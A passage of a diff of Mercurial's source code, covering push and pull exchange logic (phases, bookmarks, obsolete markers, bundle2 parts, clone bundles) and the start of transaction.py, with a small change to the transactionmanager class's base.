         and pushop.cgresult is None # nothing was pushed
         and remotephases.get('publishing', False)):
         # When:
         # - this is a subrepo push
         # - and remote support phase
         # - and no changeset was pushed
         # - and remote is publishing
         # We may be in issue 3871 case!
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
         remotephases = {'publishing': 'True'}
     if not remotephases: # old server or public only reply from non-publishing
         _localphasemove(pushop, cheads)
         # don't push any phase data as there is nothing to push
     else:
         ana = phases.analyzeremotephases(pushop.repo, cheads,
                                          remotephases)
         pheads, droots = ana
         ### Apply remote phase on local
         if remotephases.get('publishing', False):
             _localphasemove(pushop, cheads)
         else: # publish = False
             _localphasemove(pushop, pheads)
             _localphasemove(pushop, cheads, phases.draft)
         ### Apply local phase on remote
 
         if pushop.cgresult:
             if 'phases' in pushop.stepsdone:
                 # phases already pushed though bundle2
                 return
             outdated = pushop.outdatedphases
         else:
             outdated = pushop.fallbackoutdatedphases
 
         pushop.stepsdone.add('phases')
 
         # filter heads already turned public by the push
         outdated = [c for c in outdated if c.node() not in pheads]
         # fallback to independent pushkey command
         for newremotehead in outdated:
             r = pushop.remote.pushkey('phases',
                                       newremotehead.hex(),
                                       str(phases.draft),
                                       str(phases.public))
             if not r:
                 pushop.ui.warn(_('updating %s to public failed!\n')
                                % newremotehead)
 
 def _localphasemove(pushop, nodes, phase=phases.public):
     """move <nodes> to <phase> in the local source repo"""
     if pushop.trmanager:
         phases.advanceboundary(pushop.repo,
                                pushop.trmanager.transaction(),
                                phase,
                                nodes)
     else:
         # repo is not locked, do not change any phases!
         # Informs the user that phases should have been moved when
         # applicable.
         actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
         phasestr = phases.phasenames[phase]
         if actualmoves:
             pushop.ui.status(_('cannot lock source repo, skipping '
                                'local %s phase update\n') % phasestr)
 
 def _pushobsolete(pushop):
     """utility function to push obsolete markers to a remote"""
     if 'obsmarkers' in pushop.stepsdone:
         return
     repo = pushop.repo
     remote = pushop.remote
     pushop.stepsdone.add('obsmarkers')
     if pushop.outobsmarkers:
         pushop.ui.debug('try to push obsolete markers to remote\n')
         rslts = []
         remotedata = obsolete._pushkeyescape(sorted(pushop.outobsmarkers))
         for key in sorted(remotedata, reverse=True):
             # reverse sort to ensure we end with dump0
             data = remotedata[key]
             rslts.append(remote.pushkey('obsolete', key, '', data))
         if [r for r in rslts if not r]:
             msg = _('failed to push some obsolete markers!\n')
             repo.ui.warn(msg)
 
 def _pushbookmark(pushop):
     """Update bookmark position on remote"""
     if pushop.cgresult == 0 or 'bookmarks' in pushop.stepsdone:
         return
     pushop.stepsdone.add('bookmarks')
     ui = pushop.ui
     remote = pushop.remote
 
     for b, old, new in pushop.outbookmarks:
         action = 'update'
         if not old:
             action = 'export'
         elif not new:
             action = 'delete'
         if remote.pushkey('bookmarks', b, old, new):
             ui.status(bookmsgmap[action][0] % b)
         else:
             ui.warn(bookmsgmap[action][1] % b)
             # discovery can have set the value form invalid entry
             if pushop.bkresult is not None:
                 pushop.bkresult = 1
 
 class pulloperation(object):
     """A object that represent a single pull operation
 
     It purpose is to carry pull related state and very common operation.
 
     A new should be created at the beginning of each pull and discarded
     afterward.
     """
 
     def __init__(self, repo, remote, heads=None, force=False, bookmarks=(),
                  remotebookmarks=None, streamclonerequested=None):
         # repo we pull into
         self.repo = repo
         # repo we pull from
         self.remote = remote
         # revision we try to pull (None is "all")
         self.heads = heads
         # bookmark pulled explicitly
         self.explicitbookmarks = [repo._bookmarks.expandname(bookmark)
                                   for bookmark in bookmarks]
         # do we force pull?
         self.force = force
         # whether a streaming clone was requested
         self.streamclonerequested = streamclonerequested
         # transaction manager
         self.trmanager = None
         # set of common changeset between local and remote before pull
         self.common = None
         # set of pulled head
         self.rheads = None
         # list of missing changeset to fetch remotely
         self.fetch = None
         # remote bookmarks data
         self.remotebookmarks = remotebookmarks
         # result of changegroup pulling (used as return code by pull)
         self.cgresult = None
         # list of step already done
         self.stepsdone = set()
         # Whether we attempted a clone from pre-generated bundles.
         self.clonebundleattempted = False
 
     @util.propertycache
     def pulledsubset(self):
         """heads of the set of changeset target by the pull"""
         # compute target subset
         if self.heads is None:
             # We pulled every thing possible
             # sync on everything common
             c = set(self.common)
             ret = list(self.common)
             for n in self.rheads:
                 if n not in c:
                     ret.append(n)
             return ret
         else:
             # We pulled a specific subset
             # sync on this subset
             return self.heads
 
     @util.propertycache
     def canusebundle2(self):
         return not _forcebundle1(self)
 
     @util.propertycache
     def remotebundle2caps(self):
         return bundle2.bundle2caps(self.remote)
 
     def gettransaction(self):
         # deprecated; talk to trmanager directly
         return self.trmanager.transaction()
 
-class transactionmanager(object):
+class transactionmanager(util.transactional):
     """An object to manage the life cycle of a transaction
 
     It creates the transaction on demand and calls the appropriate hooks when
     closing the transaction."""
     def __init__(self, repo, source, url):
         self.repo = repo
         self.source = source
         self.url = url
         self._tr = None
 
     def transaction(self):
         """Return an open transaction object, constructing if necessary"""
         if not self._tr:
             trname = '%s\n%s' % (self.source, util.hidepassword(self.url))
             self._tr = self.repo.transaction(trname)
             self._tr.hookargs['source'] = self.source
             self._tr.hookargs['url'] = self.url
         return self._tr
 
     def close(self):
         """close transaction if created"""
         if self._tr is not None:
             self._tr.close()
 
     def release(self):
         """release transaction if created"""
         if self._tr is not None:
             self._tr.release()
 
 def pull(repo, remote, heads=None, force=False, bookmarks=(), opargs=None,
          streamclonerequested=None):
     """Fetch repository data from a remote.
 
     This is the main function used to retrieve data from a remote repository.
 
     ``repo`` is the local repository to clone into.
     ``remote`` is a peer instance.
     ``heads`` is an iterable of revisions we want to pull. ``None`` (the
     default) means to pull everything from the remote.
     ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
     default, all remote bookmarks are pulled.
     ``opargs`` are additional keyword arguments to pass to ``pulloperation``
     initialization.
     ``streamclonerequested`` is a boolean indicating whether a "streaming
     clone" is requested. A "streaming clone" is essentially a raw file copy
     of revlogs from the server. This only works when the local repository is
     empty. The default value of ``None`` means to respect the server
     configuration for preferring stream clones.
 
     Returns the ``pulloperation`` created for this pull.
     """
     if opargs is None:
         opargs = {}
     pullop = pulloperation(repo, remote, heads, force, bookmarks=bookmarks,
                            streamclonerequested=streamclonerequested, **opargs)
 
     peerlocal = pullop.remote.local()
     if peerlocal:
         missing = set(peerlocal.requirements) - pullop.repo.supported
         if missing:
             msg = _("required features are not"
                     " supported in the destination:"
                     " %s") % (', '.join(sorted(missing)))
             raise error.Abort(msg)
 
     wlock = lock = None
     try:
         wlock = pullop.repo.wlock()
         lock = pullop.repo.lock()
         pullop.trmanager = transactionmanager(repo, 'pull', remote.url())
         streamclone.maybeperformlegacystreamclone(pullop)
         # This should ideally be in _pullbundle2(). However, it needs to run
         # before discovery to avoid extra work.
         _maybeapplyclonebundle(pullop)
         _pulldiscovery(pullop)
         if pullop.canusebundle2:
             _pullbundle2(pullop)
         _pullchangeset(pullop)
         _pullphase(pullop)
         _pullbookmarks(pullop)
         _pullobsolete(pullop)
         pullop.trmanager.close()
     finally:
         lockmod.release(pullop.trmanager, lock, wlock)
 
     return pullop
 
 # list of steps to perform discovery before pull
 pulldiscoveryorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 pulldiscoverymapping = {}
 
 def pulldiscovery(stepname):
     """decorator for function performing discovery before pull
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated function will be added in order (this
     may matter).
 
     You can only use this decorator for a new step, if you want to wrap a step
     from an extension, change the pulldiscovery dictionary directly."""
     def dec(func):
         assert stepname not in pulldiscoverymapping
         pulldiscoverymapping[stepname] = func
         pulldiscoveryorder.append(stepname)
         return func
     return dec
 
 def _pulldiscovery(pullop):
     """Run all discovery steps"""
     for stepname in pulldiscoveryorder:
         step = pulldiscoverymapping[stepname]
         step(pullop)
 
 @pulldiscovery('b1:bookmarks')
 def _pullbookmarkbundle1(pullop):
     """fetch bookmark data in bundle1 case
 
     If not using bundle2, we have to fetch bookmarks before changeset
     discovery to reduce the chance and impact of race conditions."""
     if pullop.remotebookmarks is not None:
         return
     if pullop.canusebundle2 and 'listkeys' in pullop.remotebundle2caps:
         # all known bundle2 servers now support listkeys, but lets be nice with
         # new implementation.
         return
     pullop.remotebookmarks = pullop.remote.listkeys('bookmarks')
 
 
 @pulldiscovery('changegroup')
 def _pulldiscoverychangegroup(pullop):
     """discovery phase for the pull
 
     Current handle changeset discovery only, will change handle all discovery
     at some point."""
     tmp = discovery.findcommonincoming(pullop.repo,
                                        pullop.remote,
                                        heads=pullop.heads,
                                        force=pullop.force)
     common, fetch, rheads = tmp
     nm = pullop.repo.unfiltered().changelog.nodemap
     if fetch and rheads:
         # If a remote heads in filtered locally, lets drop it from the unknown
         # remote heads and put in back in common.
         #
         # This is a hackish solution to catch most of "common but locally
         # hidden situation".  We do not performs discovery on unfiltered
         # repository because it end up doing a pathological amount of round
         # trip for w huge amount of changeset we do not care about.
         #
         # If a set of such "common but filtered" changeset exist on the server
         # but are not including a remote heads, we'll not be able to detect it,
         scommon = set(common)
         filteredrheads = []
         for n in rheads:
             if n in nm:
                 if n not in scommon:
                     common.append(n)
             else:
                 filteredrheads.append(n)
         if not filteredrheads:
             fetch = []
         rheads = filteredrheads
     pullop.common = common
     pullop.fetch = fetch
     pullop.rheads = rheads
 
 def _pullbundle2(pullop):
     """pull data using bundle2
 
     For now, the only supported data are changegroup."""
     kwargs = {'bundlecaps': caps20to10(pullop.repo)}
 
     # At the moment we don't do stream clones over bundle2. If that is
     # implemented then here's where the check for that will go.
     streaming = False
 
     # pulling changegroup
     pullop.stepsdone.add('changegroup')
 
     kwargs['common'] = pullop.common
     kwargs['heads'] = pullop.heads or pullop.rheads
     kwargs['cg'] = pullop.fetch
     if 'listkeys' in pullop.remotebundle2caps:
         kwargs['listkeys'] = ['phases']
         if pullop.remotebookmarks is None:
             # make sure to always includes bookmark data when migrating
             # `hg incoming --bundle` to using this function.
             kwargs['listkeys'].append('bookmarks')
 
     # If this is a full pull / clone and the server supports the clone bundles
     # feature, tell the server whether we attempted a clone bundle. The
     # presence of this flag indicates the client supports clone bundles. This
     # will enable the server to treat clients that support clone bundles
     # differently from those that don't.
     if (pullop.remote.capable('clonebundles')
         and pullop.heads is None and list(pullop.common) == [nullid]):
         kwargs['cbattempted'] = pullop.clonebundleattempted
 
     if streaming:
         pullop.repo.ui.status(_('streaming all changes\n'))
     elif not pullop.fetch:
         pullop.repo.ui.status(_("no changes found\n"))
         pullop.cgresult = 0
     else:
         if pullop.heads is None and list(pullop.common) == [nullid]:
             pullop.repo.ui.status(_("requesting all changes\n"))
     if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
         remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
         if obsolete.commonversion(remoteversions) is not None:
             kwargs['obsmarkers'] = True
             pullop.stepsdone.add('obsmarkers')
     _pullbundle2extraprepare(pullop, kwargs)
     bundle = pullop.remote.getbundle('pull', **pycompat.strkwargs(kwargs))
     try:
         op = bundle2.processbundle(pullop.repo, bundle, pullop.gettransaction)
     except bundle2.AbortFromPart as exc:
         pullop.repo.ui.status(_('remote: abort: %s\n') % exc)
         raise error.Abort(_('pull failed on remote'), hint=exc.hint)
     except error.BundleValueError as exc:
         raise error.Abort(_('missing support for %s') % exc)
 
     if pullop.fetch:
         pullop.cgresult = bundle2.combinechangegroupresults(op)
 
     # processing phases change
     for namespace, value in op.records['listkeys']:
         if namespace == 'phases':
             _pullapplyphases(pullop, value)
 
     # processing bookmark update
     for namespace, value in op.records['listkeys']:
         if namespace == 'bookmarks':
             pullop.remotebookmarks = value
 
     # bookmark data were either already there or pulled in the bundle
     if pullop.remotebookmarks is not None:
         _pullbookmarks(pullop)
 
 def _pullbundle2extraprepare(pullop, kwargs):
     """hook function so that extensions can extend the getbundle call"""
     pass
 
 def _pullchangeset(pullop):
     """pull changeset from unbundle into the local repo"""
     # We delay the open of the transaction as late as possible so we
     # don't open transaction for nothing or you break future useful
     # rollback call
     if 'changegroup' in pullop.stepsdone:
         return
     pullop.stepsdone.add('changegroup')
     if not pullop.fetch:
         pullop.repo.ui.status(_("no changes found\n"))
         pullop.cgresult = 0
         return
     tr = pullop.gettransaction()
     if pullop.heads is None and list(pullop.common) == [nullid]:
         pullop.repo.ui.status(_("requesting all changes\n"))
     elif pullop.heads is None and pullop.remote.capable('changegroupsubset'):
         # issue1320, avoid a race if remote changed after discovery
         pullop.heads = pullop.rheads
 
     if pullop.remote.capable('getbundle'):
         # TODO: get bundlecaps from remote
         cg = pullop.remote.getbundle('pull', common=pullop.common,
                                      heads=pullop.heads or pullop.rheads)
     elif pullop.heads is None:
         cg = pullop.remote.changegroup(pullop.fetch, 'pull')
     elif not pullop.remote.capable('changegroupsubset'):
         raise error.Abort(_("partial pull cannot be done because "
                            "other repository doesn't support "
                            "changegroupsubset."))
     else:
         cg = pullop.remote.changegroupsubset(pullop.fetch, pullop.heads, 'pull')
     bundleop = bundle2.applybundle(pullop.repo, cg, tr, 'pull',
                                    pullop.remote.url())
     pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
 
 def _pullphase(pullop):
     # Get remote phases data from remote
     if 'phases' in pullop.stepsdone:
         return
     remotephases = pullop.remote.listkeys('phases')
     _pullapplyphases(pullop, remotephases)
 
 def _pullapplyphases(pullop, remotephases):
     """apply phase movement from observed remote state"""
     if 'phases' in pullop.stepsdone:
         return
     pullop.stepsdone.add('phases')
     publishing = bool(remotephases.get('publishing', False))
     if remotephases and not publishing:
         # remote is new and non-publishing
         pheads, _dr = phases.analyzeremotephases(pullop.repo,
                                                  pullop.pulledsubset,
                                                  remotephases)
         dheads = pullop.pulledsubset
     else:
         # Remote is old or publishing all common changesets
         # should be seen as public
         pheads = pullop.pulledsubset
         dheads = []
     unfi = pullop.repo.unfiltered()
     phase = unfi._phasecache.phase
     rev = unfi.changelog.nodemap.get
     public = phases.public
     draft = phases.draft
 
     # exclude changesets already public locally and update the others
     pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
     if pheads:
         tr = pullop.gettransaction()
         phases.advanceboundary(pullop.repo, tr, public, pheads)
 
     # exclude changesets already draft locally and update the others
     dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
     if dheads:
         tr = pullop.gettransaction()
         phases.advanceboundary(pullop.repo, tr, draft, dheads)
 
 def _pullbookmarks(pullop):
     """process the remote bookmark information to update the local one"""
     if 'bookmarks' in pullop.stepsdone:
         return
     pullop.stepsdone.add('bookmarks')
     repo = pullop.repo
     remotebookmarks = pullop.remotebookmarks
     remotebookmarks = bookmod.unhexlifybookmarks(remotebookmarks)
     bookmod.updatefromremote(repo.ui, repo, remotebookmarks,
                              pullop.remote.url(),
                              pullop.gettransaction,
                              explicit=pullop.explicitbookmarks)
 
 def _pullobsolete(pullop):
     """utility function to pull obsolete markers from a remote
 
     The `gettransaction` is function that return the pull transaction, creating
     one if necessary. We return the transaction to inform the calling code that
     a new transaction have been created (when applicable).
 
     Exists mostly to allow overriding for experimentation purpose"""
     if 'obsmarkers' in pullop.stepsdone:
         return
     pullop.stepsdone.add('obsmarkers')
     tr = None
     if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
         pullop.repo.ui.debug('fetching remote obsolete markers\n')
         remoteobs = pullop.remote.listkeys('obsolete')
         if 'dump0' in remoteobs:
             tr = pullop.gettransaction()
             markers = []
             for key in sorted(remoteobs, reverse=True):
                 if key.startswith('dump'):
                     data = util.b85decode(remoteobs[key])
                     version, newmarks = obsolete._readmarkers(data)
                     markers += newmarks
             if markers:
                 pullop.repo.obsstore.add(tr, markers)
             pullop.repo.invalidatevolatilesets()
     return tr
 
 def caps20to10(repo):
     """return a set with appropriate options to use bundle20 during getbundle"""
     caps = {'HG20'}
     capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo))
     caps.add('bundle2=' + urlreq.quote(capsblob))
     return caps
 
 # List of names of steps to perform for a bundle2 for getbundle, order matters.
 getbundle2partsorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 getbundle2partsmapping = {}
 
 def getbundle2partsgenerator(stepname, idx=None):
     """decorator for function generating bundle2 part for getbundle
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated functions will be added in order
     (this may matter).
 
     You can only use this decorator for new steps, if you want to wrap a step
     from an extension, attack the getbundle2partsmapping dictionary directly."""
     def dec(func):
         assert stepname not in getbundle2partsmapping
         getbundle2partsmapping[stepname] = func
         if idx is None:
             getbundle2partsorder.append(stepname)
         else:
             getbundle2partsorder.insert(idx, stepname)
         return func
     return dec
 
 def bundle2requested(bundlecaps):
     if bundlecaps is not None:
         return any(cap.startswith('HG2') for cap in bundlecaps)
     return False
 
 def getbundlechunks(repo, source, heads=None, common=None, bundlecaps=None,
                     **kwargs):
     """Return chunks constituting a bundle's raw data.
 
     Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
     passed.
 
     Returns an iterator over raw chunks (of varying sizes).
     """
     kwargs = pycompat.byteskwargs(kwargs)
     usebundle2 = bundle2requested(bundlecaps)
     # bundle10 case
     if not usebundle2:
         if bundlecaps and not kwargs.get('cg', True):
             raise ValueError(_('request for bundle10 must include changegroup'))
 
         if kwargs:
             raise ValueError(_('unsupported getbundle arguments: %s')
                              % ', '.join(sorted(kwargs.keys())))
         outgoing = _computeoutgoing(repo, heads, common)
         bundler = changegroup.getbundler('01', repo, bundlecaps)
         return changegroup.getsubsetraw(repo, outgoing, bundler, source)
 
     # bundle20 case
     b2caps = {}
     for bcaps in bundlecaps:
         if bcaps.startswith('bundle2='):
             blob = urlreq.unquote(bcaps[len('bundle2='):])
             b2caps.update(bundle2.decodecaps(blob))
     bundler = bundle2.bundle20(repo.ui, b2caps)
 
     kwargs['heads'] = heads
     kwargs['common'] = common
 
     for name in getbundle2partsorder:
         func = getbundle2partsmapping[name]
         func(bundler, repo, source, bundlecaps=bundlecaps, b2caps=b2caps,
              **pycompat.strkwargs(kwargs))
 
     return bundler.getchunks()
 
 @getbundle2partsgenerator('changegroup')
 def _getbundlechangegrouppart(bundler, repo, source, bundlecaps=None,
                               b2caps=None, heads=None, common=None, **kwargs):
     """add a changegroup part to the requested bundle"""
     cg = None
     if kwargs.get('cg', True):
         # build changegroup bundle here.
         version = '01'
         cgversions = b2caps.get('changegroup')
         if cgversions:  # 3.1 and 3.2 ship with an empty value
             cgversions = [v for v in cgversions
                           if v in changegroup.supportedoutgoingversions(repo)]
             if not cgversions:
                 raise ValueError(_('no common changegroup version'))
             version = max(cgversions)
         outgoing = _computeoutgoing(repo, heads, common)
         cg = changegroup.getlocalchangegroupraw(repo, source, outgoing,
                                                 bundlecaps=bundlecaps,
                                                 version=version)
 
     if cg:
         part = bundler.newpart('changegroup', data=cg)
         if cgversions:
             part.addparam('version', version)
         part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
         if 'treemanifest' in repo.requirements:
             part.addparam('treemanifest', '1')
 
 @getbundle2partsgenerator('listkeys')
 def _getbundlelistkeysparts(bundler, repo, source, bundlecaps=None,
                             b2caps=None, **kwargs):
     """add parts containing listkeys namespaces to the requested bundle"""
     listkeys = kwargs.get('listkeys', ())
     for namespace in listkeys:
         part = bundler.newpart('listkeys')
         part.addparam('namespace', namespace)
         keys = repo.listkeys(namespace).items()
         part.data = pushkey.encodekeys(keys)
 
 @getbundle2partsgenerator('obsmarkers')
 def _getbundleobsmarkerpart(bundler, repo, source, bundlecaps=None,
                             b2caps=None, heads=None, **kwargs):
     """add an obsolescence markers part to the requested bundle"""
     if kwargs.get('obsmarkers', False):
         if heads is None:
             heads = repo.heads()
         subset = [c.node() for c in repo.set('::%ln', heads)]
         markers = repo.obsstore.relevantmarkers(subset)
         markers = sorted(markers)
         bundle2.buildobsmarkerspart(bundler, markers)
 
 @getbundle2partsgenerator('hgtagsfnodes')
 def _getbundletagsfnodes(bundler, repo, source, bundlecaps=None,
                          b2caps=None, heads=None, common=None,
                          **kwargs):
     """Transfer the .hgtags filenodes mapping.
 
     Only values for heads in this bundle will be transferred.
 
     The part data consists of pairs of 20 byte changeset node and .hgtags
     filenodes raw values.
     """
     # Don't send unless:
     # - changeset are being exchanged,
     # - the client supports it.
     if not (kwargs.get('cg', True) and 'hgtagsfnodes' in b2caps):
         return
 
     outgoing = _computeoutgoing(repo, heads, common)
     bundle2.addparttagsfnodescache(repo, bundler, outgoing)
 
 def _getbookmarks(repo, **kwargs):
     """Returns bookmark to node mapping.
 
     This function is primarily used to generate `bookmarks` bundle2 part.
     It is a separate function in order to make it easy to wrap it
     in extensions. Passing `kwargs` to the function makes it easy to
     add new parameters in extensions.
     """
 
     return dict(bookmod.listbinbookmarks(repo))
 
 def check_heads(repo, their_heads, context):
     """check if the heads of a repo have been modified
 
     Used by peer for unbundling.
     """
     heads = repo.heads()
     heads_hash = hashlib.sha1(''.join(sorted(heads))).digest()
     if not (their_heads == ['force'] or their_heads == heads or
             their_heads == ['hashed', heads_hash]):
         # someone else committed/pushed/unbundled while we
         # were transferring data
         raise error.PushRaced('repository changed while %s - '
                               'please try again' % context)
 
 def unbundle(repo, cg, heads, source, url):
     """Apply a bundle to a repo.
 
     this function makes sure the repo is locked during the application and have
     mechanism to check that no push race occurred between the creation of the
     bundle and its application.
 
     If the push was raced as PushRaced exception is raised."""
     r = 0
     # need a transaction when processing a bundle2 stream
     # [wlock, lock, tr] - needs to be an array so nested functions can modify it
     lockandtr = [None, None, None]
     recordout = None
     # quick fix for output mismatch with bundle2 in 3.4
     captureoutput = repo.ui.configbool('experimental', 'bundle2-output-capture')
     if url.startswith('remote:http:') or url.startswith('remote:https:'):
         captureoutput = True
     try:
         # note: outside bundle1, 'heads' is expected to be empty and this
         # 'check_heads' call wil be a no-op
         check_heads(repo, heads, 'uploading changes')
         # push can proceed
         if not isinstance(cg, bundle2.unbundle20):
             # legacy case: bundle1 (changegroup 01)
             txnname = "\n".join([source, util.hidepassword(url)])
             with repo.lock(), repo.transaction(txnname) as tr:
                 op = bundle2.applybundle(repo, cg, tr, source, url)
                 r = bundle2.combinechangegroupresults(op)
         else:
             r = None
             try:
                 def gettransaction():
                     if not lockandtr[2]:
                         lockandtr[0] = repo.wlock()
                         lockandtr[1] = repo.lock()
                         lockandtr[2] = repo.transaction(source)
                         lockandtr[2].hookargs['source'] = source
                         lockandtr[2].hookargs['url'] = url
                         lockandtr[2].hookargs['bundle2'] = '1'
                     return lockandtr[2]
 
                 # Do greedy locking by default until we're satisfied with lazy
                 # locking.
                 if not repo.ui.configbool('experimental', 'bundle2lazylocking'):
                     gettransaction()
 
                 op = bundle2.bundleoperation(repo, gettransaction,
                                              captureoutput=captureoutput)
                 try:
                     op = bundle2.processbundle(repo, cg, op=op)
                 finally:
                     r = op.reply
                     if captureoutput and r is not None:
                         repo.ui.pushbuffer(error=True, subproc=True)
                         def recordout(output):
                             r.newpart('output', data=output, mandatory=False)
                 if lockandtr[2] is not None:
                     lockandtr[2].close()
             except BaseException as exc:
                 exc.duringunbundle2 = True
                 if captureoutput and r is not None:
                     parts = exc._bundle2salvagedoutput = r.salvageoutput()
                     def recordout(output):
                         part = bundle2.bundlepart('output', data=output,
                                                   mandatory=False)
                         parts.append(part)
                 raise
     finally:
         lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
         if recordout is not None:
             recordout(repo.ui.popbuffer())
     return r
 
 def _maybeapplyclonebundle(pullop):
     """Apply a clone bundle from a remote, if possible."""
 
     repo = pullop.repo
     remote = pullop.remote
 
     if not repo.ui.configbool('ui', 'clonebundles'):
         return
 
     # Only run if local repo is empty.
     if len(repo):
         return
 
     if pullop.heads:
         return
 
     if not remote.capable('clonebundles'):
         return
 
     res = remote._call('clonebundles')
 
     # If we call the wire protocol command, that's good enough to record the
     # attempt.
     pullop.clonebundleattempted = True
 
     entries = parseclonebundlesmanifest(repo, res)
     if not entries:
         repo.ui.note(_('no clone bundles available on remote; '
                        'falling back to regular clone\n'))
         return
 
     entries = filterclonebundleentries(repo, entries)
     if not entries:
         # There is a thundering herd concern here. However, if a server
         # operator doesn't advertise bundles appropriate for its clients,
         # they deserve what's coming. Furthermore, from a client's
         # perspective, no automatic fallback would mean not being able to
         # clone!
         repo.ui.warn(_('no compatible clone bundles available on server; '
                        'falling back to regular clone\n'))
         repo.ui.warn(_('(you may want to report this to the server '
                        'operator)\n'))
         return
 
     entries = sortclonebundleentries(repo.ui, entries)
 
     url = entries[0]['URL']
     repo.ui.status(_('applying clone bundle from %s\n') % url)
     if trypullbundlefromurl(repo.ui, repo, url):
         repo.ui.status(_('finished applying clone bundle\n'))
     # Bundle failed.
     #
     # We abort by default to avoid the thundering herd of
     # clients flooding a server that was expecting expensive
     # clone load to be offloaded.
     elif repo.ui.configbool('ui', 'clonebundlefallback'):
         repo.ui.warn(_('falling back to normal clone\n'))
     else:
         raise error.Abort(_('error applying bundle'),
                           hint=_('if this error persists, consider contacting '
                                  'the server operator or disable clone '
                                  'bundles via '
                                  '"--config ui.clonebundles=false"'))
 
 def parseclonebundlesmanifest(repo, s):
     """Parses the raw text of a clone bundles manifest.
 
     Returns a list of dicts. The dicts have a ``URL`` key corresponding
     to the URL and other keys are the attributes for the entry.
     """
     m = []
     for line in s.splitlines():
         fields = line.split()
         if not fields:
             continue
         attrs = {'URL': fields[0]}
         for rawattr in fields[1:]:
             key, value = rawattr.split('=', 1)
             key = urlreq.unquote(key)
             value = urlreq.unquote(value)
             attrs[key] = value
 
             # Parse BUNDLESPEC into components. This makes client-side
             # preferences easier to specify since you can prefer a single
             # component of the BUNDLESPEC.
             if key == 'BUNDLESPEC':
                 try:
                     comp, version, params = parsebundlespec(repo, value,
                                                             externalnames=True)
                     attrs['COMPRESSION'] = comp
                     attrs['VERSION'] = version
                 except error.InvalidBundleSpecification:
                     pass
                 except error.UnsupportedBundleSpecification:
                     pass
 
         m.append(attrs)
 
     return m
 
 def filterclonebundleentries(repo, entries):
     """Remove incompatible clone bundle manifest entries.
 
     Accepts a list of entries parsed with ``parseclonebundlesmanifest``
     and returns a new list consisting of only the entries that this client
     should be able to apply.
 
     There is no guarantee we'll be able to apply all returned entries because
     the metadata we use to filter on may be missing or wrong.
     """
     newentries = []
     for entry in entries:
         spec = entry.get('BUNDLESPEC')
         if spec:
             try:
                 parsebundlespec(repo, spec, strict=True)
             except error.InvalidBundleSpecification as e:
                 repo.ui.debug(str(e) + '\n')
                 continue
             except error.UnsupportedBundleSpecification as e:
                 repo.ui.debug('filtering %s because unsupported bundle '
                               'spec: %s\n' % (entry['URL'], str(e)))
                 continue
 
         if 'REQUIRESNI' in entry and not sslutil.hassni:
             repo.ui.debug('filtering %s because SNI not supported\n' %
                           entry['URL'])
             continue
 
         newentries.append(entry)
 
     return newentries
 
 class clonebundleentry(object):
     """Represents an item in a clone bundles manifest.
 
     This rich class is needed to support sorting since sorted() in Python 3
     doesn't support ``cmp`` and our comparison is complex enough that ``key=``
     won't work.
     """
 
     def __init__(self, value, prefers):
         self.value = value
         self.prefers = prefers
 
     def _cmp(self, other):
         for prefkey, prefvalue in self.prefers:
             avalue = self.value.get(prefkey)
             bvalue = other.value.get(prefkey)
 
             # Special case for b missing attribute and a matches exactly.
             if avalue is not None and bvalue is None and avalue == prefvalue:
                 return -1
 
             # Special case for a missing attribute and b matches exactly.
             if bvalue is not None and avalue is None and bvalue == prefvalue:
                 return 1
 
             # We can't compare unless attribute present on both.
             if avalue is None or bvalue is None:
                 continue
 
             # Same values should fall back to next attribute.
             if avalue == bvalue:
                 continue
 
             # Exact matches come first.
             if avalue == prefvalue:
                 return -1
             if bvalue == prefvalue:
                 return 1
 
             # Fall back to next attribute.
             continue
 
         # If we got here we couldn't sort by attributes and prefers. Fall
         # back to index order.
         return 0
 
     def __lt__(self, other):
         return self._cmp(other) < 0
 
     def __gt__(self, other):
         return self._cmp(other) > 0
 
     def __eq__(self, other):
         return self._cmp(other) == 0
 
     def __le__(self, other):
         return self._cmp(other) <= 0
 
     def __ge__(self, other):
         return self._cmp(other) >= 0
 
     def __ne__(self, other):
         return self._cmp(other) != 0
 
 def sortclonebundleentries(ui, entries):
     prefers = ui.configlist('ui', 'clonebundleprefers')
     if not prefers:
         return list(entries)
 
     prefers = [p.split('=', 1) for p in prefers]
 
     items = sorted(clonebundleentry(v, prefers) for v in entries)
     return [i.value for i in items]
 
 def trypullbundlefromurl(ui, repo, url):
     """Attempt to apply a bundle from a URL."""
     with repo.lock(), repo.transaction('bundleurl') as tr:
         try:
             fh = urlmod.open(ui, url)
             cg = readbundle(ui, fh, 'stream')
 
             if isinstance(cg, streamclone.streamcloneapplier):
                 cg.apply(repo)
             else:
                 bundle2.applybundle(repo, cg, tr, 'clonebundles', url)
             return True
         except urlerr.httperror as e:
             ui.warn(_('HTTP error fetching bundle: %s\n') % str(e))
         except urlerr.urlerror as e:
             ui.warn(_('error fetching bundle: %s\n') % e.reason)
 
         return False

mercurial/transaction.py

@@ -1,637 +1,627 b''
 # transaction.py - simple journaling scheme for mercurial
 #
 # This transaction scheme is intended to gracefully handle program
 # errors and interruptions. More serious failures like system crashes
 # can be recovered with an fsck-like tool. As the whole repository is
 # effectively log-structured, this should amount to simply truncating
 # anything that isn't referenced in the changelog.
 #
 # Copyright 2005, 2006 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 
 from .i18n import _
 from . import (
     error,
     util,
 )
 
 version = 2
 
 # These are the file generators that should only be executed after the
 # finalizers are done, since they rely on the output of the finalizers (like
 # the changelog having been written).
 postfinalizegenerators = {
     'bookmarks',
     'dirstate'
 }
 
 gengroupall='all'
